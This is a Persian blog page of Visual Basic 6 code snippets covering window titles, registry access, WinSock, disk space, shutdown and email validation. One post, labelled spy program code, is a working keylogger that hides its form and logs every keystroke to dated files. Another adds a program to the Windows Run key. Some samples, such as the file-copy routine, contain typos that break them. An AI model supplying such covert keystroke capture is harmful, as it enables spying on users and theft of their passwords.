X
تبلیغات
آموزش زبان برنامه نویسی تحت دات نت - آموزش ویژوال بیسیک
***بسیار مفتخریم که از سایت ما بازدید فرمودید امید است شما را در رسیدن به بخشی هرچند اندک از اهدافتان یاری نموده باشیم*** ***WWW.CESblog.Ir*** ***به وبلاگ مهندسی کامپیوتر خوش آمدید ***
نحوه بدست آوردن عنوان یک پنجره در ویژوال بیسیک | وی بی

Declarations
' 1 TextBox & 1 cmd Button
Dim blnChoose As Boolean

Private Declare Function SetCapture Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseCapture Lib "user32" () As Long
Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function ClientToScreen Lib "user32" (ByVal hwnd As Long, lpPoint As POINTAPI) As Long

'Put this in a module/////////////////////////////////////////////////////////
Type POINTAPI
    x As Long
    y As Long
End Type
//////////////////////////////////////////////////////////////////////////////
Code
Private Sub Command1_Click()
    blnChoose = True
    intRetVal = SetCapture(hwnd)
End Sub

Private Sub Form_Load()
   
    blnChoose = False
   
End Sub

Private Sub Form_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
    Dim window As Long
    Dim buffer As String * 1024
    Dim ptPoint As POINTAPI
  
    If blnChoose Then
   
        ptPoint.x = x
        ptPoint.y = y
        retval = ClientToScreen(hwnd, ptPoint)

        window = WindowFromPoint(ptPoint.x, ptPoint.y)
        lngRetVal = GetWindowText(window, buffer, 1024)
        Text1.Text = buffer
    End If
End Sub

منبع:www.cesblog.ir

+ نوشته شده توسط CES در دوشنبه سیزدهم تیر 1390 و ساعت 17:13 |
مخفی کردن مکانمای  mouse در ویژوال بیسیک | وی بی | hiding the mouse cursor

Declarations
Public Declare Function ShowCursor Lib "user32" Alias "ShowCursor" (ByVal bShow As Long) As Long
Code
'this code you can put in cammandbutton,timer,on form load...
ShowCursor False

منبع:www.cesblog.ir

+ نوشته شده توسط CES در یکشنبه پنجم تیر 1390 و ساعت 23:28 |
برنامه بانک در وی بی دات نت  | پروژه بانک در VB.net

saveحجم فایل: 500کیلوبایت

downloadدانلود

keyرمز فایل :www.cesblog.ir

منبع:www.cesblog.ir

+ نوشته شده توسط CES در شنبه چهارم تیر 1390 و ساعت 13:36 |
سورس برنامه چت  | chat source | ویژوال بیسیک

saveحجم فایل: 5کیلوبایت

downloadدانلود

keyرمز فایل :www.cesblog.ir

منبع:www.cesblog.ir

+ نوشته شده توسط CES در شنبه چهارم تیر 1390 و ساعت 13:25 |
نحوه گزارش گیری  در ویژوال بیسیک | data report |Data Environment

در این آموزش قصد دارم نحوه گزارش گیری در ویژوال بیسیک رو برای شما توضیح دهم.

لطفا مراحل رو گام به گام انجام بدین.

1 - اضافه کردن Data Report به پروژه

2 - تنظیم data source  و  data member  در  data report

3- اضافه کردن یک  TextBox در بخش detail section  از Data Report

4- تنظیم DataMember و DataField برای textbox  ی که در بخش قبل اضافه کردین.

5- اضافه کردن textbox های دیگر مطابق با نیازتان و تنظیم بر اساس مراحل بالا

6- اضافه کردن یک دکمه با نان Cmdprint به فرم اصلی و  و اضافه کردن کد زیر به آن

  1. Private Sub CmdPrint_Click()
  2. drCustomers.Show
  3. End Sub

موفق باشید

saveحجم فایل:47کیلوبایت

downloadدانلود

keyرمز فایل :www.cesblog.ir

منبع:www.cesblog.ir

+ نوشته شده توسط CES در جمعه سوم تیر 1390 و ساعت 11:18 |
کار با رجیستربی | ذخیره موقعیت فرم در رجیستری


Declarations
Dim c As New cRegistry
Code
With c
        .ClassKey = HKEY_CURRENT_USER
        ' You don't need to check if this key already exists
        ' - the class will create it for you
        .SectionKey = "Software\" & App.ExeName & "\" & frmThis.Name
        .ValueKey = "Maximized"
        .ValueType = REG_DWORD
        .Value = (frmThis.WindowState = vbMaximized)
        If (frmThis.WindowState <> vbMaximized)
            .ValueKey = "Left"
            .Value = frmThis.Left
            .ValueKey = "Top"
            .Value = frmThis.Top
            .ValueKey = "Width"
            .Value = frmThis.Width
            .ValueKey = "Height"
            .Value = frmThis.Height
        End If
    End With

منبع:www.cesblog.ir

+ نوشته شده توسط CES در پنجشنبه دوم تیر 1390 و ساعت 12:29 |
کار با رجیستری | خواندن مقادیر رشته ای از رجیستری 

Declarations

Code
  Dim c As New cRegistry
    With c
        .ClassKey = HKEY_LOCAL_MACHINE
        .SectionKey = "Software\MyApp\Tips"
        .ValueKey = "Tip1"
        .ValueType = REG_SZ
        sTip = .Value
    End With

منبع:www.cesblog.ir

+ نوشته شده توسط CES در پنجشنبه دوم تیر 1390 و ساعت 12:28 |
کار با رجیستری | خواندن مقادیر عددی از رجیستری 
Declarations
 Dim c As New cRegistry
Code
  With c
        .ClassKey = HKEY_LOCAL_MACHINE
        .SectionKey = "Software\MyApp\Tips"
        .ValueKey = "TipCount"
        .ValueType = REG_DWORD
        lTipCount = .Value
    End With

منبع:www.cesblog.ir

+ نوشته شده توسط CES در پنجشنبه دوم تیر 1390 و ساعت 12:27 |
کار با رجیستری | خواندن مقادیر باینری از رجیستری 

Declarations
Dim cR As New cRegistry
Dim iByte As Long
Dim vR as Variant
Code
 With cR
        .ClassKey = HKEY_CURRENT_USER
        .SectionKey = "Control Panel\Appearance"
        .ValueKey = "CustomColors"
        vR = .Value

        If .ValueType = REG_BINARY Then
        ' Read through the byte array and output it as a series of hex values:
        For iByte = LBound(vR) To UBound(vR)
            sOut = sOut & "&H"
            If (iByte<&H10) Then
                sOut = sOut & "0"
            End If
            sOut = sOut & Hex$(vR(iByte)) & " "
            Next iByte
        Else
            sOut = vR
        End If

        Debug.Print sOut
    End With

منبع:www.cesblog.ir

+ نوشته شده توسط CES در پنجشنبه دوم تیر 1390 و ساعت 12:25 |
کنترل Internet Transfer - قسمت دوم

اتصالات FTP


پروتکل FTP علاوه بر نقل و انتقال فايل بين دو کامپيوتر ، مي تواند نوعي مديريت فايل ( مثل حذف فايل يا ايجاد پوشه ) روي کامپيوتر مقصد را انجام دهد . FTP در انتقال فايل بسيار قويتر از HTTP است ولي به مراتب پيچيده تر از HTTP مي باشد اما کنترل IT اين پيچيدگيها را از ديد برنامه نويس مخفي کرده است .
براي کار با سرورهاي FTP بايد به آنها Login نمود . نوع خاصي از Login به نام Anonymous Login ( ورود ناشناس ) وجود دارد که با آن کاربران مي توانند بدون محدوديت از سايت FTP استفاده کنند . توجه کنيد که حتي براي ورود ناشناس هم نياز به نام کاربر و کلمه عبور است . براي ارسال نام کاربر و کلمه عبور از خواص username و password کنترل IT استفاده مي شود . اگر خاصيت username خالي باشد ( blank ) ، کنترل IT بطور خودکار از anonymous استفاده مي کند و آدرس email کاربر بعنوان passowrd استفاده مي شود .
استفاده از متد OpenURL : متد OpenURL ساده ترين راه انجام عمليات FTP است . دستور زير از يک سايت FTP ليست مي گيرد :
ادامه مطلب
+ نوشته شده توسط CES در شنبه بیست و هشتم خرداد 1390 و ساعت 22:54 |
کنترل Internet Transfer - قسمت اول

مقدمه : کنترل Internet Transfer نسبت به کنترل WebBrowser که در روزهاي قبلي معرفي شد در سطح پايينتري قرار دارد . اين کنترل با استفاده از دو پروتکل HTTP و FTP مي تواند داده ها را منتقل کند . اين کنترل زمانيکه از پروتکل HTTP استفاده مي کند با همان روش کنترل WebBrowser به سرويس دهنده صفحات وب متصل مي شود اما بجاي آنکه صفحه وب را نمايش دهد متن Html صفحه را بازيابي مي کند . همچنين زمانيکه اين کنترل از پروتکل FTP استفاده مي کند قادرست فايلها را بين کامپيوترهاي روي شبکه منتقل سازد .


ادامه مطلب
+ نوشته شده توسط CES در شنبه بیست و هشتم خرداد 1390 و ساعت 22:53 |
کنترلWinSock - قسمت دوم


بررسی خواص کنترل WinSock :
ByteReceived : مقدار داده دريافت شده ( موجود در بافر receive ) را نشان مي دهد . توسط متد GetData مي توان اين داده را دريافت نمود .
LocalHostName : نام ماشين محلي را نشان مي دهد . اين پارامتر فقط خواندني است .
LocalIP : آدرس IP ماشين محلي را بصورت يک string برمي گرداند . اين پارامتر فقط خواندني است .
LocalPort : براي خواندن و يا تنظيم شماره پورت محلي بکار مي رود .
Protocol : براي خواندن و يا تنظيم پروتوکل مورد استفاده توسط کنترل WinSock بکار مي رود .
RemoteHost : براي خواندن و يا تنظيم نام يا آدرس IP ماشين راه دور بکار مي رود .
RemoteHostIP : آدرس IP ماشين راه دور را برمي گرداند :
۱- براي برنامه هاي Client بعد از زمانيکه يک اتصال توسط متد Connect پذيرفته شد ، اين خاصيت حاوي آدرس IP ماشين راه دور است .
۲ - براي برنامه Server ، بعد از آمدن يک Connection Request اين خاصيت شامل آدرس IP ماشين راه دور است .


ادامه مطلب
+ نوشته شده توسط CES در شنبه بیست و هشتم خرداد 1390 و ساعت 22:50 |

کنترل WinSock - قسمت اول 

مقدمه :
کنترل WinSock نسبت به تمام کنترلهاي اينترنت در سطح پايينتري قرار دارد . اين کنترل امکان ايجاد سرويسهاي شبکه اي مبتني بر پروتکلهاي TCP و UDP را مهيا مي کند . بعبارت ديگر توسط اين کنترل مي توان برنامه هاي کاربردي Client/Server ( سرويس گيرنده / سرويس دهنده ) ايجاد و با استفاده از پروتکل TCP و يا UDP بين آنها ارتباط برقرار نمود .
با تنظيم خصوصيات و فراخواني متدهاي اين کنترل مي توانيد به راحتي به يک کامپيوتر راه دور متصل شويد و داده ها را در هر دو جهت جابجا نمائيد . نمونه کاربرهايي که مي توان با اين کنترل ايجاد نمود :
Client-server chat ، Mail client ، Mail server ، Proxy Server ، Network Game ، Port Scanner ، پياده سازي الگوريتم هاي موازي و …



ادامه مطلب
+ نوشته شده توسط CES در شنبه بیست و هشتم خرداد 1390 و ساعت 22:49 |
API هاي ويندوز

امروز قصد دارم در مورد API هاي ويندوز و چگونگي استفاده از آنها در ويژوال بيسيک بطور خلاصه توضيح دهم و همچنين دو مثال پراستفاده را نيز در اين زمينه بيان کنم که عبارتند از چگونگي پخش فايلهاي Wav و ساخت يک تايمر با دقت بالا :


ادامه مطلب
+ نوشته شده توسط CES در شنبه بیست و هشتم خرداد 1390 و ساعت 22:46 |
گرفتن پسوند یک فایل با استفاده از ویژوال بیسیک


Code
FileName$ = "C:\windows\clouds.bmp"

ext = Mid$(FileName$, InStr(1, FileName$, ".") + 1, 3)
البته در این مثال فایل مورد نظر ما با نام clouds.bmp در نظر گرفته شده است.

موفق باشید.

منبع:www.cesblog.ir


+ نوشته شده توسط CES در چهارشنبه بیست و پنجم خرداد 1390 و ساعت 14:24 |
تبدیل حروف کوچک به حروف بزرگ در VB


Code
'Enter the following code in the Keypress event of a text box.

keyascii=asc(ucase(chr(keyascii)))

منبع:www.cesblog.ir


+ نوشته شده توسط CES در چهارشنبه بیست و پنجم خرداد 1390 و ساعت 14:21 |
Auto Complete در ویژوال بیسیک

Code
Option Explicit

Private Declare Function SHAutoComplete Lib "Shlwapi.dll" _
        (ByVal hWndEdit As Long, _
        ByVal dwFlags As Long) As Long

Public Enum SHAC_Constants
    Default = &H0
    FileSystem = &H1
    URLHistory = &H2
    URLMRU = &H4
    URLAll = (&H2 Or &H4)
End Enum

Public Sub AutoComplete(txtItem As TextBox, lngType As SHAC_Constants)
    On Error GoTo ErrHandler

    SHAutoComplete txtItem.hWnd, lngType
   
    Exit Sub
  
ErrHandler:
End Sub

Private Sub Form_Load()
  AutoComplete Text1, Default
End Sub

منبع:www.cesblog.ir

+ نوشته شده توسط CES در چهارشنبه بیست و پنجم خرداد 1390 و ساعت 14:17 |

کد برنامه جاسوسی برنامه نویسی شده با ویژوال بیسیک


Code
'Just copy in paste in a new project

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Dim result As Integer

Private Sub Form_Load()
On Error GoTo ErrorHandler:
Form1.Width = 0
Form1.Height = 0
Form1.Top = 0
Form1.Left = 0

MkDir (App.Path & "\" & "Spy")


ErrorHandler:

End Sub
Private Sub Timer1_Timer()

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)

If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub



Private Sub Timer2_Timer()
On Error GoTo ErrorHandler
    Text2.Text = Format(Date, "dd,mm,yyyy")
    Open App.Path & "\" & "Spy" & "\" & Text2.Text & ".txt" For Output As #1
    Write #1, Text1.Text
    Close #1
ErrorHandler:
  
End Sub


منبع:www.cesblog.ir


+ نوشته شده توسط CES در چهارشنبه بیست و پنجم خرداد 1390 و ساعت 14:9 |
نحوه قرار دادن برنامه در start up  ویندوز با برنامه نویسی ویژوال بیسیک


Declarations
'Add to a module
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Const REG_SZ = 1 ' Unicode nul terminated String
Public Const REG_DWORD = 4 ' 32-bit number
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_USERS = &H80000003
Public Const HKEY_PERFORMANCE_DATA = &H80000004
Public Const ERROR_SUCCESS = 0&
Public Const KEY_WRITE = &H20006
Code
 'Run on startup
        'reg path
        subkey = "Software\Microsoft\Windows\CurrentVersion\Run"

        retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, hregkey)
        If retval <> 0 Then
            Debug.Print "Can't open the subkey"
            Exit Sub
        End If
        stringbuffer = App.Path & "\" & App.EXEName & ".exe" & vbNullChar
        retval = RegSetValueEx(hregkey, "My App", 0, REG_SZ, ByVal         stringbuffer, Len(stringbuffer))
        RegCloseKey hregkey

منبع:www.cesblog.ir

+ نوشته شده توسط CES در چهارشنبه بیست و پنجم خرداد 1390 و ساعت 14:6 |
شناسایی فضای خالی دیسک با استفاده از VB

Declarations
Declare Function GetDiskFreeSpace Lib "kernel32" Alias "GetDiskFreeSpaceA" (ByVal lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector As Long, lpNumberOfFreeClusters As Long, lpTtoalNumberOfClusters As Long) As Long

Public Type DiskInformation
    lpSectorsPerCluster As Long
    lpBytesPerSector As Long
    lpNumberOfFreeClusters As Long
    lpTotalNumberOfClusters As Long
End Type
Code
Dim info As DiskInformation
Dim lAnswer As Long
Dim lpRootPathName As String
Dim lpSectorsPerCluster As Long
Dim lpBytesPerSector As Long
Dim lpNumberOfFreeClusters As Long
Dim lpTotalNumberOfClusters As Long
Dim lBytesPerCluster As Long
Dim lNumFreeBytes As Double
Dim sString As String

lpRootPathName = "c:\"
lAnswer = GetDiskFreeSpace(lpRootPathName, lpSectorsPerCluster, lpBytesPerSector, lpNumberOfFreeClusters, lpTotalNumberOfClusters)
lBytesPerCluster = lpSectorsPerCluster * lpBytesPerSector
lNumFreeBytes = lBytesPerCluster * lpNumberOfFreeClusters
sString = "Number of Free Bytes : " & lNumFreeBytes & vbCr & vbLf
sString = sString & "Number of Free Kilobytes: " & (lNumFreeBytes / 1024) & "K" & vbCr & vbLf
sString = sString & "Number of Free Megabytes: " & Format(((lNumFreeBytes / 1024) / 1024), "0.00") & "MB"

MsgBox sString

منبع:www.cesblog.ir

+ نوشته شده توسط CES در سه شنبه بیست و چهارم خرداد 1390 و ساعت 23:55 |
ایجاد یک فرم دایره ای در vb


Private Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Long) As Long
'place this code in the form load event
Private Sub Form_Load()
    Dim lngRegion As Long
    Dim lngReturn As Long
    Dim lngFormWidth As Long
    Dim lngFormHeight As Long
   
    lngFormWidth = Me.Width / Screen.TwipsPerPixelX
    lngFormHeight = Me.Height / Screen.TwipsPerPixelY
    lngRegion = CreateEllipticRgn(0, 0, lngFormWidth, lngFormHeight)
    lngReturn = SetWindowRgn(Me.hWnd, lngRegion, True)
End Sub

منبع:www.cesblog.ir



+ نوشته شده توسط CES در سه شنبه بیست و چهارم خرداد 1390 و ساعت 23:51 |
تشخیص اینکه کامپیوتر به اینترنت وصل است یا خیر ؟

Public Declare Function RasEnumConnections Lib "RasApi32.dll" Alias "RasEnumConnectionsA" (lpRasCon As Any, lpcb As Long, lpcConnections As Long) As Long
Public Declare Function RasGetConnectStatus Lib "RasApi32.dll" Alias "RasGetConnectStatusA" (ByVal hRasCon As Long, lpStatus As Any) As Long
'
Public Const RAS95_MaxEntryName = 256
Public Const RAS95_MaxDeviceType = 16
Public Const RAS95_MaxDeviceName = 32
'
Public Type RASCONN95
    dwSize As Long
    hRasCon As Long
    szEntryName(RAS95_MaxEntryName) As Byte
    szDeviceType(RAS95_MaxDeviceType) As Byte
    szDeviceName(RAS95_MaxDeviceName) As Byte
End Type
'
Public Type RASCONNSTATUS95
    dwSize As Long
    RasConnState As Long
    dwError As Long
    szDeviceType(RAS95_MaxDeviceType) As Byte
    szDeviceName(RAS95_MaxDeviceName) As Byte
End Type
'A call to the function IsConnected returns true if the computer has established a connection to the internet.

Public Function IsConnected() As Boolean
Dim TRasCon(255) As RASCONN95
Dim lg As Long
Dim lpcon As Long
Dim RetVal As Long
Dim Tstatus As RASCONNSTATUS95
'
TRasCon(0).dwSize = 412
lg = 256 * TRasCon(0).dwSize
'
RetVal = RasEnumConnections(TRasCon(0), lg, lpcon)
If RetVal <> 0 Then
                    MsgBox "ERROR"
                    Exit Function
                    End If
'
Tstatus.dwSize = 160
RetVal = RasGetConnectStatus(TRasCon(0).hRasCon, Tstatus)
If Tstatus.RasConnState = &H2000 Then
                         IsConnected = True
                         Else
                         IsConnected = False
                         End If

End Function

منبع:www.cesblog.ir


+ نوشته شده توسط CES در سه شنبه بیست و چهارم خرداد 1390 و ساعت 23:48 |
نحوه خاموش کردن کامپیوتر در ویژوال بیسیک


Private Const EWX_SHUTDOWN As Long = 1
Private Declare Function ExitWindowsEx Lib "user32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long
lngResult = ExitWindowsEx(EWX_SHUTDOWN, 0&)

منبع:www.cesblog.ir


+ نوشته شده توسط CES در سه شنبه بیست و چهارم خرداد 1390 و ساعت 23:46 |
نحوه transparent  یک فرم در وی بی


Public Const GWL_EXSTYLE = (-20)
Public Const WS_EX_TRANSPARENT = &H20&
Public Const SWP_FRAMECHANGED = &H20
Public Const SWP_NOMOVE = &H2
Public Const SWP_NOSIZE = &H1
Public Const SWP_SHOWME = SWP_FRAMECHANGED Or _
SWP_NOMOVE Or SWP_NOSIZE
Public Const HWND_NOTOPMOST = -2

Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long

Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
کد زیر رو در form_load قرار دهید
SetWindowLong Me.hwnd, GWL_EXSTYLE, WS_EX_TRANSPARENT
SetWindowPos Me.hwnd, HWND_NOTOPMOST, 0&, 0&, 0&, 0&, SWP_SHOWME

منبع:www.cesblog.ir

+ نوشته شده توسط CES در سه شنبه بیست و چهارم خرداد 1390 و ساعت 23:44 |
بررسی صحت ایمیل وارد شده 



Private Sub Text1_LostFocus()
    call ValidateEmail(Text1.text)
End Sub

Public Function ValidateEmail(ByVal strEmail As String) As Boolean
Dim strTmp As String, n As Long, sEXT As String
    EMsg = "" 'reset on open for good form
    ValidateEmail = True 'Assume true on init
   
    sEXT = strEmail
    Do While InStr(1, sEXT, ".") <> 0
       sEXT = Right(sEXT, Len(sEXT) - InStr(1, sEXT, "."))
    Loop
   
    If strEmail = "" Then
       ValidateEmail = False
       EMsg = EMsg & "Not a valid email address!"
      
    ElseIf InStr(1, strEmail, "@") = 0 Then
       ValidateEmail = False
       EMsg = EMsg & "Email address does not contain an @ sign."
      
    ElseIf InStr(1, strEmail, "@") = 1 Then
       ValidateEmail = False
       EMsg = EMsg & "@ sign can not be the first character in email address!"
      
    ElseIf InStr(1, strEmail, "@") = Len(strEmail) Then
       ValidateEmail = False
       EMsg = EMsg & "@sign can not be the last character in email address!"
      
    ElseIf EXTisOK(sEXT) = False Then
       ValidateEmail = False
       EMsg = EMsg & "Email address is not carrying a valid ending!"
      
    ElseIf Len(strEmail) < 6 Then
       ValidateEmail = False
       EMsg = EMsg & "Email address is shorter than 6 characters which is impossible."
    End If
    n = 0
    strTmp = strEmail
   
    Do While InStr(1, strTmp, "@") <> 0
       n = n + 1
       strTmp = Right(strTmp, Len(strTmp) - InStr(1, strTmp, "@"))
    Loop
   
    If n > 1 Then
       ValidateEmail = False 'found more than one @ sign
       EMsg = EMsg & "More than 1 @ sign in your email address"
    End If

End Function

Public Function EXTisOK(sEXT As String) As Boolean
Dim EXT As String, X As Long
    EXTisOK = False
    If Left(sEXT, 1) <> "." Then sEXT = "." & sEXT
    sEXT = UCase(sEXT) 'just to avoid errors
    EXT = EXT & ".COM.EDU.GOV.NET.BIZ.ORG.TV"
    EXT = EXT & ".AF.AL.DZ.As.AD.AO.AI.AQ.AG.AP.AR.AM.AW.AU.AT.AZ.BS.BH.BD.BB.BY"
    EXT = EXT & ".BE.BZ.BJ.BM.BT.BO.BA.BW.BV.BR.IO.BN.BG.BF.MM.BI.KH.CM.CA.CV.KY"
    EXT = EXT & ".CF.TD.CL.CN.CX.CC.CO.KM.CG.CD.CK.CR.CI.HR.CU.CY.CZ.DK.DJ.DM.DO"
    EXT = EXT & ".TP.EC.EG.SV.GQ.ER.EE.ET.FK.FO.FJ.FI.CS.SU.FR.FX.GF.PF.TF.GA.GM.GE.DE"
    EXT = EXT & ".GH.GI.GB.GR.GL.GD.GP.GU.GT.GN.GW.GY.HT.HM.HN.HK.HU.IS.IN.ID.IR.IQ"
    EXT = EXT & ".IE.IL.IT.JM.JP.JO.KZ.KE.KI.KW.KG.LA.LV.LB.LS.LR.LY.LI.LT.LU.MO.MK.MG"
    EXT = EXT & ".MW.MY.MV.ML.MT.MH.MQ.MR.MU.YT.MX.FM.MD.MC.MN.MS.MA.MZ.NA"
    EXT = EXT & ".NR.NP.NL.AN.NT.NC.NZ.NI.NE.NG.NU.NF.KP.MP.NO.OM.PK.PW.PA.PG.PY"
    EXT = EXT & ".PE.PH.PN.PL.PT.PR.QA.RE.RO.RU.RW.GS.SH.KN.LC.PM.ST.VC.SM.SA.SN.SC"
    EXT = EXT & ".SL.SG.SK.SI.SB.SO.ZA.KR.ES.LK.SD.SR.SJ.SZ.SE.CH.SY.TJ.TW.TZ.TH.TG.TK"
    EXT = EXT & ".TO.TT.TN.TR.TM.TC.TV.UG.UA.AE.UK.US.UY.UM.UZ.VU.VA.VE.VN.VG.VI"
    EXT = EXT & ".WF.WS.EH.YE.YU.ZR.ZM.ZW"
    EXT = UCase(EXT) 'just to avoid errors
    If InStr(1, EXT, sEXT) <> 0 Then EXTisOK = True
End Function

منبع:www.cesblog.ir


+ نوشته شده توسط CES در سه شنبه بیست و چهارم خرداد 1390 و ساعت 23:40 |
تکست باکس برای نمایش واحد پول


Private Sub Text1_LostFocus()
If IsNumeric(Text1.Text) Then
    Text1.Text = Format(Text1.Text, "#,##0.00")
Else
    MsgBox "Please enter a Numeric Value", vbInformation, "Unexcepted Value"
    Text1.SetFocus
    Text1.SelStart = 0
    Text1.SelLength = Len(Text1.Text)
End If
End Sub


منبع:www.cesblog.ir

+ نوشته شده توسط CES در سه شنبه بیست و چهارم خرداد 1390 و ساعت 23:36 |
سورس کپی فایل در وی بی



Private Declare Function SHFileOperation Lib "Shell32.dll" Alias "SHFOperationA" (lpFileOp As SHFILEopstruct) As Long
Private Const FO_Copy = &H2
Private Const For_Allowundo = &H40

Private Type SHFILEopstruct
hwnd As Long
wfunc As Long
pform As String
pto As String
fflags As Integer
faborted As Boolean
hnamemaps As Long
sprogress As String

End Type

Public Sub copy(ByVal asal As String, ByVal tujuan As String)
Dim x As SHFILEopstruct
With x
.hwnd = 0
.wfunc = FO_Copy
.pform = asal & vbNullChar & vbNllChar
.pto = tujuan & vbNulChar & vbNullChar
.fflags = fof_allowundo
End With
SHFileOperation x
End Sub

Private Sub Command1_Click()
copy Text1.Text, Text2.Text
MsgBox "File Sudah dicopy"
End Sub

Private Sub Dir1_Change()
File1.Path = Dir1.Path
End Sub

Private Sub Dir2_Change()
Text2.Text = Dir2.Path
End Sub

Private Sub Drive1_Change()
Dir1.Path = Drive1.Drive
End Sub

Private Sub Drive2_Change()
Dir2.Path = Drive2.Drive
End Sub



Private Sub File1_Click()
Text1.Text = File1.Path & "\" & File1.FileName
End Sub

منبع:www.cesblog.ir

+ نوشته شده توسط CES در سه شنبه بیست و چهارم خرداد 1390 و ساعت 23:32 |
دریافت اطلاعات در مورد میزان مصرف رم در ویژوال بیسیک

وی بی :

Private Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBuffer As MEMORYSTATUS)
Private Type MEMORYSTATUS
   dwLength As Long
   dwMemoryLoad As Long
   dwTotalPhys As Long
   dwAvailPhys As Long
   dwTotalPageFile As Long
   dwAvailPageFile As Long
   dwTotalVirtual As Long
   dwAvailVirtual As Long
End Type
Private Sub command1_click()
   Dim MS As MEMORYSTATUS
   MS.dwLength = Len(MS)
   GlobalMemoryStatus MS
   Dim msg$
   msg = "MEMORY STATUS" + vbCrLf
   msg = msg + "============================" + vbCrLf
   msg = msg + "Loaded memory = " + Format$(MS.dwMemoryLoad, "###,###,###,###") + " % used" + vbCrLf
   msg = msg + "--------------------------------" + vbCrLf
   msg = msg + "Physical memory = " + Format$(MS.dwTotalPhys / 1024, "###,###,###,###") + " Kb" + vbCrLf
   msg = msg + "Free Physical memory = " + Format$(MS.dwAvailPhys / 1024, "###,###,###,###") + " Kb" + vbCrLf
   msg = msg + "--------------------------------" + vbCrLf
   msg = msg + "Paging file = " + Format$(MS.dwTotalPageFile / 1024, "###,###,###,###") + " Kb" + vbCrLf
   msg = msg + "Free Paging file = " + Format$(MS.dwAvailPageFile / 1024, "###,###,###,###") + " Kb" + vbCrLf
   msg = msg + "--------------------------------" + vbCrLf
   msg = msg + "Virtual memory : " + Format$(MS.dwTotalVirtual / 1024, "###,###,###,###") + " Kb" + vbCrLf
   msg = msg + "Free Virtual memory = " + Format$(MS.dwAvailVirtual / 1024, "###,###,###,###") + " Kb"
MsgBox msg
End Sub

منبع:www.cesblog.ir

+ نوشته شده توسط CES در سه شنبه بیست و چهارم خرداد 1390 و ساعت 15:15 |
بدست آوردن نام کامپیوتر در ویژوال بیسیک

برای دستیابی به نام کامپیوتر در برنامه ای که به زبان وی بی نوشته اید از کد های زیر استفاده کنید.

Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long

Private Sub Command1_Click()
   Call Computer_Name
End Sub

Private Function Computer_Name() As String
   Dim nComputer As String 'Computer Name
   Dim nBuffer As String
   Dim nSize As Long
   nBuffer = Space$(250)
   nSize = Len(nBuffer)
   If GetComputerName(nBuffer, nSize) = 1 Then
      nComputer = Trim(nBuffer)
      MsgBox nComputer
      Exit Function
   End If
End Function

منبع:www.cesblog.ir

+ نوشته شده توسط CES در سه شنبه بیست و چهارم خرداد 1390 و ساعت 15:11 |
کار با فايل در ويژوال بيسيک - بخش دوم

خواندن از فايل :


1 - دستور Input : توسط دستورهای Input و Line Input می توان محتوای فايلهای متنی و باينری را خواند .
دستور Input به دو صورت بکار می رود :
Input #Filenumber,ReadData
ReadData=Input(Charnum,Filenumber)x
دستور اول کل يک فايل را خوانده و در متغير ReadData قرار می دهد . دستور دوم ، تعداد Charnum بايت از فايلی با شماره Filenumber را خوانده و در متغير ReadData قرار می دهد .
اين دو دستور تمام کاراکترهای موجود در فايل را می خوانند . برای اينکه بتوان فايل را خط به خط خواند ، از دستور Line Input استفاده کنيد :
Line Input #Filenumber,ReadData
البته از دستور Line Input بيشتر برای خواندن فايلهای متنی استفاده می شود زيرا ممکنست در فايل باينری هيچ کاراکتر انتهای خط ( CRLF ) وجود نداشته باشد و يکباره کل فايل خوانده شود .

۲ - دستور Get : از اين دستور برای خواندن فايلهای باينری با دسترسی تصادفی ( Random Access ) استفاده میشود :
Get #Filenumber,[Recordnum%],ReadData
